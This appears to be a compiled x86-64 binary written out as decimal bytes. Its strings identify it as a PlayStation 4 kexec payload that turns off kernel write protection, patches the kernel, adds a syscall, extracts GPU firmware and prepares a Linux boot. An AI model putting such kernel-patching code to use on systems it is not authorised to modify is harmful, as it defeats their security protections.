15,30,250,72,139,53,188,20,0,0,72,9,254,138,70,2,168,1,116,6,131,224,254,136,70,2,15,182,126,2,102,209,239,131,231,7,232,184,255,255,255,137,70,16,195,243,15,30,250,137,248,76,141,5,228,6,0,0,247,208,49,255,72,57,250,116,21,15,182,12,62,72,255,199,49,193,193,232,8,15,182,201,65,51,4,136,235,230,247,208,195,15,32,192,72,137,194,72,129,226,255,255,254,255,15,34,194,195,15,32,192,129,231,0,0,1,0,72,9,199,15,34,199,195,243,15,30,250,83,72,137,251,72,139,5,107,20,0,0,106,6,73,131,200,255,106,0,49,201,186,2,1,0,0,72,137,222,72,139,56,65,185,1,0,0,0,255,21,90,20,0,0,72,137,198,88,72,133,246,90,116,206,72,139,61,65,20,0,0,255,21,83,20,0,0,91,72,11,5,251,19,0,0,195,243,15,30,250,72,133,255,72,137,242,116,19,72,139,5,23,20,0,0,72,137,254,72,139,56,255,37,35,20,0,0,195,243,15,30,250,72,133,246,15,132,217,0,0,0,65,84,85,83,72,137,253,72,131,236,16,72,133,255,15,132,186,0,0,0,72,137,242,49,192,72,137,243,72,137,254,72,141,61,14,17,0,0,255,21,169,19,0,0,72,133,237,120,65,72,141,61,25,17,0,0,49,192,255,21,149,19,0,0,72,137,238,72,141,61,61,17,0,0,49,192,255,21,131,19,0,0,72,141,61,80,17,0,0,49,192,255,21,116,19,0,0,72,141,61,116,17,0,0,49,192,255,21,101,19,0,0,235,92,255,21,189,19,0,0,49,192,232,227,254,255,255,72,141,61,139,17,0,0,73,137,196,49,192,255,21,68,19,0,0,102,199,68,36,2,255,37,49,192,199,68,36,4,0,0,0,0,72,137,108,36,8,138,84,4,2,136,20,3,72,255,192,72,131,248,14,117,240,15,9,76,137,231,232,178,254,255,255,255,21,118,19,0,0,184,1,0,0,0,235,2,49,192,72,131,196,16,91,93,65,92,195,49,192,195,243,15,30,250,65,84,85,83,72,99,223,72,107,219,48,72,137,245,65,137,212,72,3,29,53,19,0,0,255,21,55,19,0,0,49,192,232,93,254,255,255,49,201,72,137,199,198,4,11,0,72,255,193,72,131,249,48,117,243,68,137,35,72,137,107,8,199,67,44,1,0,0,0,232,73,254,255,255,91,93,65,92,255,37,9,19,0,0,243,15,30,250,65,84,72,129,231,0,192,255,255,76,141,166,255,63,0,0,85,73,129,228,0,192,255,255,83,72,137,253,137,211,137,209,72,137,254,76,137,226,72,141,61,201,16,0,0,49,192,255,21,104,18,0,0,15,182,203,76,137,226,91,72,137,238,72,139,61,135,18,0,0,93,65,92,255,37,158,18,0,0,243,15,30,250,72,133,255,85,83,81,116,7,72,137,61,11,18,0,0,72,139,21,4,18,0,0,72,133,210,116,11,72,141,61,161,16,0,0,49,192,255,210,72,139,21,237,17,0,0,72,133,210,15,132,35,2,0,0,72,141,178,208,133,244,255,247,198,255,63,0,0,72,137,53,240,17,0,0,116,16,72,141,61,127,16,0,0,49,192,255,210,233,253,1,0,0,49,192,72,141,61,137,16,0,0,255,210,72,139,5,204,17,0,0,72,139,21,165,17,0,0,139,176,164,4,185,1,139,128,168,4,185,1,72,193,230,39,72,193,224,30,72,9,198,184,255,255,1,0,72,193,224,47,72,9,198,72,133,210,72,137,53,160,17,0,0,116,11,72,141,61,87,16,0,0,49,192,255,210,156,91,250,49,192,232,30,253,255,255,72,199,5,14,18,0,0,0,0,0,0,72,137,197,72,139,5,108,17,0,0,72,141,144,48,122,11,0,72,141,136,48,125,11,0,72,137,21,103,17,0,0,72,137,21,48,17,0,0,72,141,144,160,22,39,0,72,137,21,98,17,0,0,72,141,144,176,21,39,0,72,137,13,76,17,0,0,72,141,136,240,208,28,0,72,137,21,78,17,0,0,72,141,144,80,27,39,0,72,137,21,72,17,0,0,72,141,144,72,141,38,2,72,137,13,130,17,0,0,72,141,136,240,43,67,0,72,137,21,52,17,0,0,72,141,144,176,4,185,1,72,137,13,110,17,0,0,72,141,136,0,42,67,0,72,137,21,32,17,0,0,72,141,144,128,8,39,0,72,137,13,90,17,0,0,72,141,136,96,23,46,0,72,137,21,12,17,0,0,72,141,144,64,192,55,0,72,137,13,70,17,0,0,72,141,136,96,194,74,0,72,137,21,248,16,0,0,72,141,144,80,208,18,0,72,137,13,58,17,0,0,72,141,136,128,242,77,0,72,137,21,228,16,0,0,72,141,144,240,225,18,0,72,137,13,38,17,0,0,72,141,136,144,76,108,2,72,137,21,208,16,0,0,72,141,144,16,3,16,1,72,137,13,18,17,0,0,72,141,136,88,192,116,2,72,137,21,188,16,0,0,72,141,144,208,208,28,0,72,137,13,254,16,0,0,72,141,136,96,8,24,0,72,5,128,163,41,0,72,137,21,162,16,0,0,72,137,13,235,16,0,0,72,137,5,236,16,0,0,255,210,72,141,61,251,14,0,0,49,192,255,21,35,16,0,0,72,141,61,34,15,0,0,49,192,199,5,208,16,0,0,1,0,0,0,255,21,10,16,0,0,72,141,61,14,15,0,0,49,192,255,21,251,15,0,0,72,137,239,232,145,251,255,255,83,157,90,49,192,91,93,195,0,0,0,3,0,0,0,121,0,0,0,0,0,0,0,0,0,0,0,245,254,255,111,0,0,0,0,96,54,0,0,0,0,0,0,5,0,0,0,0,0,0,0,88,54,0,0,0,0,0,0,6,0,0,0,0,0,0,0,64,54,0,0,0,0,0,0,10,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,11,0,0,0,0,0,0,0,24,0,0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,30,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,251,255,255,111,0,0,0,0,1,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,18,220,0,64,20,49,9,0,64,149,12,0,60,196,0,0,3,220,43,0,0,204,13,0,60,204,126,0,36,196,0,0,64,150,1,128,64,124,0,0,0,136,127,0,64,212,1,128,64,124,0,0,0,136,0,0,0,0,0,0,0,0,0,0,18,220,0,64,20,49,9,0,64,149,12,0,32,196,0,0,3,220,47,0,0,204,18,0,32,204,126,0,36,196,0,0,64,150,1,128,64,124,0,0,0,136,127,0,64,212,1,128,64,124,0,0,0,136,0,0,0,0,0,0,0,0,0,0,18,220,0,64,20,49,9,0,64,149,22,0,32,196,0,0,3,220,73,0,0,204,19,0,32,204,126,0,36,196,0,0,64,150,1,128,64,124,0,0,0,136,127,0,64,212,1,128,64,124,0,0,0,136,0,0,0,0,0,0,0,0,0,32,0,0,0,0,0,0,104,16,0,0,0,0,0,0,104,16,0,0,0,0,0,0,128,33,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,0,24,0,0,0,0,0,0,104,16,0,0,0,0,0,0,104,16,0,0,0,0,0,0,128,33,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,0,0,0,0,150,48,7,119,44,97,14,238,186,81,9,153,25,196,109,7,143,244,106,112,53,165,99,233,163,149,100,158,50,136,219,14,164,184,220,121,30,233,213,224,136,217,210,151,43,76,182,9,189,124,177,126,7,45,184,231,145,29,191,144,100,16,183,29,242,32,176,106,72,113,185,243,222,65,190,132,125,212,218,26,235,228,221,109,81,181,212,244,199,133,211,131,86,152,108,19,192,168,107,100,122,249,98,253,236,201,101,138,79,92,1,20,217,108,6,99,99,61,15,250,245,13,8,141,200,32,110,59,94,16,105,76,228,65,96,213,114,113,103,162,209,228,3,60,71,212,4,75,253,133,13,210,107,181,10,165,250,168,181,53,108,152,178,66,214,201,187,219,64,249,188,172,227,108,216,50,117,92,223,69,207,13,214,220,89,61,209,171,172,48,217,38,58,0,222,81,128,81,215,200,22,97,208,191,181,244,180,33,35,196,179,86,153,149,186,207,15,165,189,184,158,184,2,40,8,136,5,95,178,217,12,198,36,233,11,177,135,124,111,47,17,76,104,88,171,29,97,193,61,45,102,182,144,65,220,118,6,113,219,1,188,32,210,152,42,16,213,239,137,133,177,113,31,181,182,6,165,228,191,159,51,212,184,232,162,201,7,120,52,249,0,15,142,168,9,150,24,152,14,225,187,13,106,127,45,61,109,8,151,108,100,145,1,92,99,230,244,81,107,107,98,97,108,28,216,48,101,133,78,0,98,242,237,149,6,108,123,165,1,27,193,244,8,130,87,196,15,245,198,217,176,101,80,233,183,18,234,184,190,139,124,136,185,252,223,29,221,98,73,45,218,21,243,124,211,140,101,76,212,251,88,97,178,77,206,81,181,58,116,0,188,163,226,48,187,212,65,165,223,74,215,149,216,61,109,196,209,164,251,244,214,211,106,233,105,67,252,217,110,52,70,136,103,173,208,184,96,218,115,45,4,68,229,29,3,51,95,76,10,170,201,124,13,221,60,113,5,80,170,65,2,39,16,16,11,190,134,32,12,201,37,181,104,87,179,133,111,32,9,212,102,185,159,228,97,206,14,249,222,94,152,201,217,41,34,152,208,176,180,168,215,199,23,61,179,89,129,13,180,46,59,92,189,183,173,108,186,192,32,131,184,237,182,179,191,154,12,226,182,3,154,210,177,116,57,71,213,234,175,119,210,157,21,38,219,4,131,22,220,115,18,11,99,227,132,59,100,148,62,106,109,13,168,90,106,122,11,207,14,228,157,255,9,147,39,174,0,10,177,158,7,125,68,147,15,240,210,163,8,135,104,242,1,30,254,194,6,105,93,87,98,247,203,103,101,128,113,54,108,25,231,6,107,110,118,27,212,254,224,43,211,137,90,122,218,16,204,74,221,103,111,223,185,249,249,239,190,142,67,190,183,23,213,142,176,96,232,163,214,214,126,147,209,161,196,194,216,56,82,242,223,79,241,103,187,209,103,87,188,166,221,6,181,63,75,54,178,72,218,43,13,216,76,27,10,175,246,74,3,54,96,122,4,65,195,239,96,223,85,223,103,168,239,142,110,49,121,190,105,70,140,179,97,203,26,131,102,188,160,210,111,37,54,226,104,82,149,119,12,204,3,71,11,187,185,22,2,34,47,38,5,85,190,59,186,197,40,11,189,178,146,90,180,43,4,106,179,92,167,255,215,194,49,207,208,181,139,158,217,44,29,174,222,91,176,194,100,155,38,242,99,236,156,163,106,117,10,147,109,2,169,6,9,156,63,54,14,235,133,103,7,114,19,87,0,5,130,74,191,149,20,122,184,226,174,43,177,123,56,27,182,12,155,142,210,146,13,190,213,229,183,239,220,124,33,223,219,11,212,210,211,134,66,226,212,241,248,179,221,104,110,131,218,31,205,22,190,129,91,38,185,246,225,119,176,111,119,71,183,24,230,90,8,136,112,106,15,255,202,59,6,102,92,11,1,17,255,158,101,143,105,174,98,248,211,255,107,97,69,207,108,22,120,226,10,160,238,210,13,215,84,131,4,78,194,179,3,57,97,38,103,167,247,22,96,208,77,71,105,73,219,119,110,62,74,106,209,174,220,90,214,217,102,11,223,64,240,59,216,55,83,174,188,169,197,158,187,222,127,207,178,71,233,255,181,48,28,242,189,189,138,194,186,202,48,147,179,83,166,163,180,36,5,54,208,186,147,6,215,205,41,87,222,84,191,103,217,35,46,122,102,179,184,74,97,196,2,27,104,93,148,43,111,42,55,190,11,180,161,142,12,195,27,223,5,90,141,239,2,45,115,121,115,95,107,101,120,101,99,32,105,110,118,111,107,101,100,10,0,115,121,115,95,107,101,120,101,99,40,37,112,44,32,37,122,117,44,32,37,112,44,32,37,122,117,44,32,34,37,115,34,41,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,105,109,97,103,101,10,0,70,97,105,108,101,100,32,116,111,32,99,111,112,121,32,105,110,32,105,109,97,103,101,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,105,110,105,116,114,97,109,102,115,10,0,70,97,105,108,101,100,32,116,111,32,101,120,116,114,97,99,116,32,71,80,85,32,102,105,114,109,119,97,114,101,32,45,32,99,111,110,116,105,110,117,105,110,103,32,97,110,121,119,97,121,10,0,70,97,105,108,101,100,32,116,111,32,99,111,112,121,32,105,110,32,105,110,105,116,114,97,109,102,115,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,99,109,100,108,105,110,101,10,0,70,97,105,108,101,100,32,116,111,32,99,111,112,121,32,105,110,32,99,109,100,108,105,110,101,10,0,10,107,101,120,101,99,32,112,97,114,97,109,101,116,101,114,115,58,10,0,32,32,32,32,75,101,114,110,101,108,32,105,109,97,103,101,32,115,105,122,101,58,32,32,32,37,122,117,32,98,121,116,101,115,10,0,32,32,32,32,73,110,105,116,114,97,109,102,115,32,115,105,122,101,58,32,32,32,32,32,32,37,122,117,32,98,121,116,101,115,32,40,37,122,117,32,102,114,111,109,32,117,115,101,114,41,10,0,32,32,32,32,75,101,114,110,101,108,32,99,111,109,109,97,110,100,32,108,105,110,101,58,32,37,115,10,0,32,32,32,32,75,101,114,110,101,108,32,105,109,97,103,101,32,98,117,102,102,101,114,58,32,37,112,10,0,32,32,32,32,73,110,105,116,114,97,109,102,115,32,98,117,102,102,101,114,58,32,32,32,32,37,112,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,98,112,10,0,70,97,105,108,101,100,32,116,111,32,105,110,115,116,97,108,108,32,115,104,117,116,100,111,119,110,32,104,111,111,107,10,0,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,10,0,107,101,120,101,99,32,115,117,99,99,101,115,115,102,117,108,108,121,32,97,114,109,101,100,46,32,80,108,101,97,115,101,32,115,104,117,116,32,100,111,119,110,32,116,104,101,32,115,121,115,116,101,109,46,10,0,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,10,10,0,73,110,115,116,97,108,108,105,110,103,32,115,121,115,95,107,101,120,101,99,32,116,111,32,115,121,115,116,101,109,32,99,97,108,108,32,35,37,100,10,0,107,101,120,101,99,95,105,110,105,116,40,41,32,115,117,99,99,101,115,115,102,117,108,10,10,0,107,101,120,101,99,58,32,87,97,105,116,105,110,103,32,102,111,114,32,115,101,99,111,110,100,97,114,121,32,67,80,85,115,46,46,46,10,0,107,101,120,101,99,58,32,83,101,99,111,110,100,97,114,121,32,67,80,85,115,32,113,117,105,101,115,99,101,100,10,0,107,101,120,101,99,58,32,83,101,116,116,105,110,103,32,117,112,32,71,68,84,46,46,46,10,0,107,101,120,101,99,58,32,82,101,108,111,99,97,116,105,110,103,32,115,116,117,98,46,46,46,10,0,107,101,120,101,99,58,32,83,101,116,116,105,110,103,32,117,112,32,98,111,111,116,32,112,97,114,97,109,115,46,46,46,10,0,107,101,120,101,99,58,32,67,108,101,97,110,105,110,103,32,117,112,32,104,97,114,100,119,97,114,101,46,46,46,10,0,107,101,120,101,99,58,32,82,101,99,111,110,102,105,103,117,114,105,110,103,32,86,82,65,77,46,46,46,10,0,107,101,120,101,99,58,32,82,101,115,101,116,116,105,110,103,32,71,80,85,46,46,46,10,0,107,101,120,101,99,58,32,65,98,111,117,116,32,116,111,32,114,101,108,111,99,97,116,101,32,97,110,100,32,106,117,109,112,32,116,111,32,107,101,114,110,101,108,10,0,107,101,120,101,99,58,32,117,110,114,101,97,99,104,97,98,108,101,32,40,63,41,10,0,104,111,111,107,95,105,99,99,95,113,117,101,114,121,95,110,111,119,97,105,116,32,99,97,108,108,101,100,10,0,65,67,80,73,32,116,97,98,108,101,115,32,102,105,120,101,100,10,0,104,111,111,107,95,105,99,99,95,113,117,101,114,121,95,110,111,119,97,105,116,58,32,117,110,114,101,97,99,104,97,98,108,101,32,40,63,41,10,0,78,79,80,32,104,97,110,100,108,101,114,32,97,116,32,48,120,37,120,10,0,48,55,48,55,48,49,0,67,111,112,121,105,110,103,32,37,115,32,102,105,114,109,119,97,114,101,10,0,99,111,112,121,95,102,105,114,109,119,97,114,101,58,32,37,115,58,32,101,120,112,101,99,116,101,100,32,115,105,122,101,32,37,100,44,32,103,111,116,32,37,100,10,0,108,105,118,101,114,112,111,111,108,0,103,108,97,100,105,117,115,0,102,105,114,109,119,97,114,101,95,101,120,116,114,97,99,116,58,32,67,111,117,108,100,32,110,111,116,32,108,111,99,97,116,101,32,102,105,114,109,119,97,114,101,32,116,97,98,108,101,0,107,101,121,0,107,101,121,47,101,97,112,95,104,100,100,95,107,101,121,46,98,105,110,0,108,105,98,0,108,105,98,47,102,105,114,109,119,97,114,101,0,108,105,98,47,102,105,114,109,119,97,114,101,47,101,100,105,100,0,108,105,98,47,102,105,114,109,119,97,114,101,47,101,100,105,100,47,109,121,95,101,100,105,100,46,98,105,110,0,97,109,100,103,112,117,0,108,105,98,47,102,105,114,109,119,97,114,101,47,37,115,47,0,37,115,37,115,95,112,102,112,46,98,105,110,0,102,105,114,109,119,97,114,101,95,101,120,116,114,97,99,116,58,32,69,120,116,114,97,99,116,32,37,115,32,10,0,80,70,80,0,37,115,37,115,95,109,101,46,98,105,110,0,77,69,0,37,115,37,115,95,99,101,46,98,105,110,0,67,69,0,37,115,37,115,95,109,101,99,46,98,105,110,0,77,69,67,0,37,115,37,115,95,109,101,99,50,46,98,105,110,0,77,69,67,50,0,37,115,37,115,95,114,108,99,46,98,105,110,0,82,76,67,0,37,115,37,115,95,115,100,109,97,46,98,105,110,0,83,68,77,65,0,84,82,65,73,76,69,82,33,33,33,0,37,115,37,115,95,115,100,109,97,49,46,98,105,110,0,83,68,77,65,49,0,102,105,114,109,119,97,114,101,95,101,120,116,114,97,99,116,58,32,111,118,101,114,102,108,111,119,33,32,37,100,32,62,32,37,100,10,0,70,105,120,105,110,103,32,65,67,80,73,32,116,97,98,108,101,115,32,97,116,32,48,120,37,108,108,120,32,40,37,112,41,10,0,82,83,68,84,32,97,116,32,48,120,37,120,10,0,88,83,68,84,32,97,116,32,48,120,37,108,108,120,10,0,37,99,37,99,37,99,37,99,32,97,116,32,48,120,37,120,10,0,70,65,67,83,32,97,116,32,48,120,37,120,10,0,68,83,68,84,32,97,116,32,48,120,37,120,10,0,69,82,82,79,82,58,32,110,111,32,70,65,68,84,32,121,101,116,63,10,0,70,48,70,32,32,32,0,80,83,52,75,69,88,69,67,0,75,69,88,67,0,107,101,114,110,101,108,95,104,111,111,107,95,105,110,115,116,97,108,108,40,37,112,44,32,37,112,41,10,0,10,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,32,87,65,82,78,73,78,71,32,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,10,0,104,111,111,107,32,116,97,114,103,101,116,32,102,117,110,99,116,105,111,110,32,97,100,100,114,101,115,115,58,32,37,112,10,0,73,116,32,108,111,111,107,115,32,108,105,107,101,32,119,101,39,114,101,32,114,117,110,110,105,110,103,32,102,114,111,109,32,117,115,101,114,108,97,110,100,32,109,101,109,111,114,121,46,10,0,80,108,101,97,115,101,32,114,117,110,32,116,104,105,115,32,99,111,100,101,32,102,114,111,109,32,97,32,107,101,114,110,101,108,32,109,101,109,111,114,121,32,109,97,112,112,105,110,103,46,10,10,0,32,32,85,115,105,110,103,32,54,52,98,105,116,32,97,98,115,111,108,117,116,101,32,106,117,109,112,10,0,112,109,97,112,95,112,114,111,116,101,99,116,40,112,109,97,112,44,32,37,112,44,32,37,112,44,32,37,100,41,10,0,107,101,114,110,101,108,95,105,110,105,116,40,41,10,0,75,101,114,110,101,108,32,98,97,115,101,32,105,115,32,110,111,116,32,97,108,105,103,110,101,100,10,0,75,101,114,110,101,108,32,98,97,115,101,32,61,32,37,108,108,120,10,0,68,105,114,101,99,116,32,109,97,112,32,98,97,115,101,32,61,32,37,108,108,120,10,0,84,101,115,116,105,110,103,32,103,108,111,98,97,108,32,118,97,114,105,97,98,108,101,32,97,99,99,101,115,115,32,40,119,114,105,116,101,32,112,114,111,116,101,99,116,105,111,110,41,46,46,46,10,0,79,75,46,10,0,75,101,114,110,101,108,32,105,110,116,101,114,102,97,99,101,32,105,110,105,116,105,97,108,105,122,101,100,10,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,239,190,173,222,243,15,30,250,85,72,137,229,199,69,252,130,0,0,192,139,69,252,137,193,15,50,137,69,248,137,85,244,139,69,244,72,193,224,32,72,137,194,139,69,248,72,9,208,93,195,243,15,30,250,85,72,137,229,72,131,236,48,232,193,255,255,255,72,45,192,1,0,0,72,137,69,240,72,139,69,240,72,5,48,122,11,0,72,137,69,232,72,139,69,240,72,5,112,190,55,0,72,137,69,224,72,139,69,240,72,5,72,141,38,2,72,137,69,216,72,139,85,224,72,141,13,130,255,255,255,72,141,5,163,199,255,255,72,41,193,72,137,200,72,137,193,72,139,69,216,72,139,0,72,137,206,72,137,199,255,210,72,137,69,208,199,69,252,0,0,0,0,235,35,139,69,252,72,99,208,72,139,69,208,72,1,194,139,69,252,72,152,72,141,13,101,199,255,255,15,182,4,8,136,2,131,69,252,1,139,69,252,72,152,72,141,21,79,199,255,255,72,1,194,72,141,5,29,255,255,255,72,57,194,117,194,72,139,85,208,72,139,69,232,190,0,0,0,0,72,137,199,255,210,144,201,195,73,137,202,72,199,192,153,0,0,0,15,5,195,243,15,30,250,85,72,137,229,72,131,236,64,72,137,125,216,72,137,117,208,72,137,85,200,72,139,69,216,190,0,0,0,0,72,137,199,184,0,0,0,0,232,198,197,255,255,137,69,236,131,125,236,0,121,10,184,255,255,255,255,233,200,0,0,0,139,69,236,186,2,0,0,0,190,0,0,0,0,137,199,232,55,198,255,255,72,137,194,72,139,69,200,72,137,16,72,139,69,200,72,139,0,65,185,0,0,0,0,65,184,255,255,255,255,185,2,16,0,0,186,3,0,0,0,72,137,198,191,0,0,0,0,232,240,197,255,255,72,139,85,208,72,137,2,72,139,69,208,72,139,0,72,137,69,248,72,139,69,200,72,139,0,72,137,69,240,139,69,236,186,0,0,0,0,190,0,0,0,0,137,199,232,210,197,255,255,235,55,72,139,85,240,72,139,77,248,139,69,236,72,137,206,137,199,232,16,197,255,255,72,137,69,224,72,131,125,224,0,117,7,184,255,255,255,255,235,38,72,139,69,224,72,1,69,248,72,139,69,224,72,41,69,240,72,131,125,240,0,117,194,139,69,236,137,199,232,3,197,255,255,184,0,0,0,0,201,195,243,15,30,250,85,72,137,229,72,131,236,32,72,137,125,232,190,0,0,0,0,72,141,61,138,19,0,0,232,20,197,255,255,72,141,61,143,19,0,0,232,103,197,255,255,137,69,252,139,69,252,186,0,0,0,0,190,0,64,0,0,137,199,232,118,197,255,255,139,69,252,137,199,232,89,197,255,255,190,30,0,0,0,191,1,0,0,0,232,197,196,255,255,144,201,195,243,15,30,250,85,72,137,229,72,131,236,32,72,137,125,232,72,139,5,55,51,0,0,72,133,192,117,47,190,0,0,0,0,72,141,61,70,19,0,0,232,211,195,255,255,72,137,69,248,72,139,69,248,72,141,53,90,19,0,0,72,137,199,232,234,195,255,255,72,137,5,3,51,0,0,72,139,21,252,50,0,0,72,139,69,232,72,137,198,191,222,0,0,0,255,210,144,201,195,243,15,30,250,85,72,137,229,72,137,125,232,199,69,252,0,0,0,0,199,69,248,0,0,0,0,235,5,72,131,69,232,1,72,139,69,232,15,182,0,60,32,116,240,72,139,69,232,15,182,0,60,45,15,148,192,15,182,192,137,69,248,235,52,72,139,69,232,15,182,0,136,69,247,128,125,247,47,126,47,128,125,247,57,127,41,139,85,252,137,208,193,224,2,1,208,1,192,137,69,252,15,190,69,247,131,232,48,1,69,252,72,131,69,232,1,72,139,69,232,15,182,0,132,192,117,193,131,125,248,0,116,7,139,69,252,247,216,235,3,139,69,252,93,195,243,15,30,250,85,72,137,229,72,129,236,240,0,0,0,72,141,61,181,18,0,0,232,241,254,255,255,72,199,69,208,0,0,0,0,72,199,69,216,0,0,0,0,72,199,69,224,0,0,0,0,72,199,69,232,0,0,0,0,72,199,69,208,1,0,0,0,72,141,69,208,186,0,0,0,0,72,137,198,191,17,0,0,0,232,155,195,255,255,72,141,69,208,186,0,0,0,0,72,137,198,191,15,0,0,0,232,133,195,255,255,72,141,69,208,186,0,0,0,0,72,137,198,191,9,0,0,0,232,111,195,255,255,72,199,69,200,0,0,0,0,72,199,69,192,0,0,0,0,72,199,69,184,0,0,0,0,72,199,69,176,0,0,0,0,72,199,69,168,0,0,0,0,72,199,69,160,0,0,0,0,72,199,69,152,0,0,0,0,72,199,69,144,0,0,0,0,199,69,248,0,0,0,0,72,141,85,192,72,141,69,200,72,137,198,72,141,61,2,18,0,0,232,190,252,255,255,133,192,116,76,72,141,85,192,72,141,69,200,72,137,198,72,141,61,249,17,0,0,232,163,252,255,255,133,192,116,49,72,141,85,192,72,141,69,200,72,137,198,72,141,61,240,17,0,0,232,136,252,255,255,133,192,116,22,72,141,61,254,17,0,0,232,227,253,255,255,184,1,0,0,0,233,152,2,0,0,72,141,85,176,72,141,69,184,72,137,198,72,141,61,72,18,0,0,232,87,252,255,255,133,192,116,76,72,141,85,176,72,141,69,184,72,137,198,72,141,61,73,18,0,0,232,60,252,255,255,133,192,116,49,72,141,85,176,72,141,69,184,72,137,198,72,141,61,79,18,0,0,232,33,252,255,255,133,192,116,22,72,141,61,103,18,0,0,232,124,253,255,255,184,1,0,0,0,233,49,2,0,0,72,141,85,160,72,141,69,168,72,137,198,72,141,61,217,18,0,0,232,240,251,255,255,133,192,116,66,72,141,85,160,72,141,69,168,72,137,198,72,141,61,213,18,0,0,232,213,251,255,255,133,192,116,39,72,141,85,160,72,141,69,168,72,137,198,72,141,61,216,18,0,0,232,186,251,255,255,133,192,116,12,72,141,61,232,18,0,0,232,21,253,255,255,72,139,69,168,72,133,192,116,76,72,139,69,160,72,133,192,116,67,199,69,252,0,0,0,0,235,41,72,139,85,168,139,69,252,72,152,72,1,208,15,182,0,60,10,117,18,72,139,85,168,139,69,252,72,152,72,1,208,198,0,0,144,235,33,131,69,252,1,139,69,252,72,99,208,72,139,69,160,72,57,194,114,200,235,12,72,141,61,6,19,0,0,232,180,252,255,255,72,141,5,27,19,0,0,72,137,69,168,72,141,85,144,72,141,69,152,72,137,198,72,141,61,185,19,0,0,232,39,251,255,255,133,192,116,66,72,141,85,144,72,141,69,152,72,137,198,72,141,61,177,19,0,0,232,12,251,255,255,133,192,116,39,72,141,85,144,72,141,69,152,72,137,198,72,141,61,169,19,0,0,232,241,250,255,255,133,192,116,12,72,141,61,183,19,0,0,232,76,252,255,255,72,139,69,152,72,133,192,116,45,72,139,69,144,72,133,192,116,36,72,139,69,152,72,137,199,232,145,252,255,255,137,69,248,131,125,248,0,126,6,131,125,248,5,126,23,199,69,248,4,0,0,0,235,14,72,141,61,228,19,0,0,232,10,252,255,255,235,1,144,199,69,248,4,0,0,0,190,0,0,0,0,72,141,61,173,249,255,255,232,158,192,255,255,72,141,149,16,255,255,255,184,0,0,0,0,185,13,0,0,0,72,137,215,243,72,171,72,141,5,113,251,255,255,72,137,133,16,255,255,255,65,185,0,0,0,0,65,184,255,255,255,255,185,2,16,0,0,186,3,0,0,0,190,0,64,0,0,191,0,0,0,0,232,179,192,255,255,72,137,133,32,255,255,255,72,199,133,40,255,255,255,0,64,0,0,72,141,69,136,72,137,133,64,255,255,255,72,141,69,128,72,137,133,72,255,255,255,72,141,133,16,255,255,255,190,104,0,0,0,72,137,199,232,100,192,255,255,72,139,125,168,72,139,77,176,72,139,85,184,72,139,117,192,72,139,69,200,68,139,69,248,69,137,193,73,137,248,72,137,199,232,203,249,255,255,235,254,201,195,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,